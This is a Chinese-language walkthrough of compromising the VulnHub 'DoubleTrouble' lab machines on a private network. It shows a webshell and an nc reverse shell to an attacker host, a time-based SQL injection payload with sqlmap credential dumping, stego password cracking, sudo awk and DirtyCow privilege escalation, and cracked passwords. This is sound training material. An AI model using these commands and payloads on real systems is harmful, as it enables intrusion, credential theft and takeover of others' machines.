靶机介绍

1)靶机地址:https://download.vulnhub.com/doubletrouble/doubletrouble.ova

2)靶机难度:中

3)打靶目标: 取得两台靶机 root 权限 + Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、开源CMS漏洞利用、隐写术、EXP代码修复、密码爆破、GTFObins提权、SQL盲注、脏牛提权

5)靶机简介:本靶机之中还藏着第二个靶机,需要全部攻破它们。如今大量WEB应用都基于开源CMS进行搭建,而CMS本身一旦被发现存在漏洞,则会威胁众多应用的安全。作为攻击方,应该重点关注目标使用的CMS,进而通过信息收集和源码审计,发现并利用其中存在的漏洞。本次打靶会使用一个新的隐写密码破解工具,将密码破解的效率提升9000倍。面对第二个靶机,会使用到SQL盲注技术,利用布尔逻辑以二进制位为单位,从数据库中提取机密的数据。

打靶过程

1)主机发现

# arp-scan --interface=eth1 --localnet

2)全端口扫描

# nmap -p- 192.168.56.121

3)端口服务版本扫描

# nmap -p22,80 -sC -sV 192.168.56.121

4)浏览器访问80端口及查看网页源码信息

copyright为版权方,即源码贡献者是谁,该应用web应用名称为qdpM,版本为9.1,访问官方网站,可知是一个CMS程序。如果该CMS的存在高位漏洞,可直接进行利用。

在实际渗透过程中,发现一个目标web程序使用的是哪个CMS后,可针对该CMS源码最新发布时的relsease信息来进行检查,发现是否修复了哪些漏洞。

5)查看官网最新的qdpM的cms的relsese信息:未发现任何漏洞修复的内容,但是根据提示,在该CMS安装完成后,会默认存在一个/install的目录

6)通过访问install目录发现,该目录主要是在CMS安装完成后,用于环境检查的一个文件,但是此处存在,说明管理员在CMS安装完成后,并没有将该文件删除

http://192.168.56.121/install/

7)通过访问/core/cache/qdPM/目录,也可以发现一些该网站的文件信息,包括一些php文件,但是php文件因为被解析的原因,无法查看其具体的内容(要查看内容,除非系统具备任意文件下载漏洞),同样也可查看其他目录下的文件

http://192.168.56.121//core/cache/qdPM

8)因知道了当前CMS的名称及版本,可以直接在kali中搜索,该目标主机的CMS版本是否存在已知可利用的脚本程序

# searchsploit qdpm

通过搜索,存在多个可利用的代码,优先关注其中的远程代码执行漏洞利用脚本

9)将两个远程代码执行漏洞利用脚本进行下载后,简单查看

# cp /usr/share/exploitdb/exploits/php/webapps/47954.py ./
# cp /usr/share/exploitdb/exploits/php/webapps/50175.py ./

通过查看脚本发现两个脚本都是针对远程代码执行漏洞,只不过使用的python版本不同,且使用该脚本必须通过身份认证后,即已经登录到目标系统内部,才能利用远程代码执行

10)先通过万能密码的登录尝试' or 1=1 -- 无法正常登录

11)通过搜索发现了qdPm默认安装完成后的用户名为admin@localhost.com和密admin,但是也无法成功登录。表面密码已经备修改过了

12)通过路径爬取,查看web程序的其他文件

# dirsearch -u http://192.168.56.121

按个对发现的目录和文件进行查看,发现了一个secret目录(秘密),作为一个靶机,有可能该目录中存在重要信息

13)通过浏览器访问,发现该目录下存在着一张图片,将图片进行保存

14)在很多靶机中会使用隐写术 的方式在图片中隐藏信息。先通过setghide工具查看图片中有无隐藏信息

# steghide info doubletrouble.jpg

通过分析发现,该图片格式为jpeg,且该图片有能力隐藏4.7KB大小的数据,但是要想获取到隐藏到图片中的数据时,需要输入密码

15)安装stegcracker隐写信息破解程序

# apt install stegcracker
# stegcracker

根据提示发现stegcracker已经升级为了stegseek,且stegseek在效率方面比stegcracker高的多

16)先下载stegseek,并且使用setgseek破解图片中的密码

stegseek下载地址:https://github.com/RickdeJager/stegseek
# apt install ./stegseek_0.6-1.deb
# stegseek --crack doubletrouble.jpg rockyou.txt -xf file   密码破解并将破解出的内容输出到file文件中

破解出密码为92camaro

17)查看文件内容

# file file          #查看file文件类型为文本文件
# cat file      
otisrush@localhost.com
otis666

查看文件内容发现了两行字符串,尝试通过该字符字符传作为账户和密码登录web应用

18)尝试登录

发现正常的登录进了目标系统

19)执行远程代码漏洞利用脚本

①在初次执行脚本时,报出了语法错误

# python3 50175.py

②通过检查代码发现,是因为代码中缩进出现问题导致的语法问题,重新整理代码的缩进后,执行代码,输入脚本使用方式

③输入参数,执行远程代码执行漏洞利用脚本

# python3 50175.py -url http://192.168.56.121/ -u otisrush@localhost.com -p otis666

执行成功后,会返回一个URL地址,在users目录下会生成一个后门文件如下

④利用后门执行命令

http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=id

20)利用webshell,执行反弹shell

http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=which nc
http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=nc -e /bin/bash 192.168.56.103 4444 

21)突破边界后,先利用python的pth模块将shell进行升级,再对目标靶机进行信息搜集,

python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo -l

查看发现不需要密码即可使用awk命令,且该命令属主为root

22)通过gtfobins中关于利用awk进行sudo提权的命令进行提权

https://gtfobins.github.io/gtfobins/awk/
sudo awk 'BEGIN {system("/bin/bash")}'

通过上述命令直接将权限提升为了root,且在家目录下发现了第二个ova文件

23)将ova镜像文件通过kali传输到kali主机

kali:
#nc -nvlp 4444 >second.ova

目标靶机:
# nc 192.168.56.103 4444 < doubletrouble.ova -w 1    当不在有数据传输,1秒后断开连接

24)传输完成后,验证两个ova文件的hash值是否一致

目标靶机:
#md5sum doubletrouble.ova
186b2cb6b64e630c6e93fb9905e76a0d  doubletrouble.ova

kali主机:
# md5sum second.ova                    
186b2cb6b64e630c6e93fb9905e76a0d  second.ova

25)将新下载的ova文件导入虚拟机后进行主机发现

# arp-scan --interface=eth1 --localnet

26)全端口扫描

# nmap -p- 192.168.56.123

27)端口服务版本扫描

# nmap -p22,80 -sC -sV 192.168.56.123

28)浏览器访问靶机的80端口,发现是一个登录页面,通过查看源代码未发现有用信息;通过万能密码尝试也无法成功登入

29)对目标靶机进行web目录爬取,也未发现敏感文件及目录

# dirsearch -u http://192.168.56.123
#dirsearch -u http://192.168.56.x/cgi-bin -f -e cgi,sh

30)尝试通过burp抓取web系统登录时的数据包,尝试在用户名和密码出进行SQL注入尝试

uname=abcd&psw=' AND(SELECT X FROM (SELECT (SLEEP(5)))XZ)#&btnLogin=Login

当在用户名或密码处输入如上SQL语句时,会因为sleep函数的原因造成延时,说明此处存在时间盲注

31)将数据包保存到r.txt后通过sqlmap对web程序数据库进行注入

# sqlmap -r r.txt
# sqlmap -r r.txt -p uname --dbms mysql --dbs
# sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble --tables
# sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --columns
# sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --dump

通过sqlmap注入出两队用户名和密码:| GfsZxc1 | montreux || ZubZub99 | clapton

32)通过上述的用户名和密码登录web系统,发现仍然无法登录,此时使用用户名和密码通过ssh进行登录,多次尝试发现,通过用户名clapton和密码ZubZub99成功登陆至靶机

# ssh clapton@192.168.56.12

33)主机信息搜集

$ sudo -l
$ uname -a

通过查看靶机操作系统版本未3.2.0,该版本存在脏牛提权漏洞

34)利用脏牛漏洞进行提权

①在如下地址下载利用代码

https://github.com/FireFart/dirtycow

①将文件传输到目标靶机

目标靶机:
$ nc -nvlp 4444 > dirty.c
kali:
# nc 192.168.56.123 4444 < dirty.c -w 1

③代码编译,后执行代码。提权成功后会用firefart用户去替换root用户

$ gcc -pthread dirty.c -o exp -lcrypt
$ chmod +x exp
$ ./exp pass           #给定一个密码

④使用用户firefart密码pass登录目标靶机,获取flag

firefart@doubletrouble:~# cat root.txt
1B8EEA89EA92CECB931E3CC25AA8DE21firefart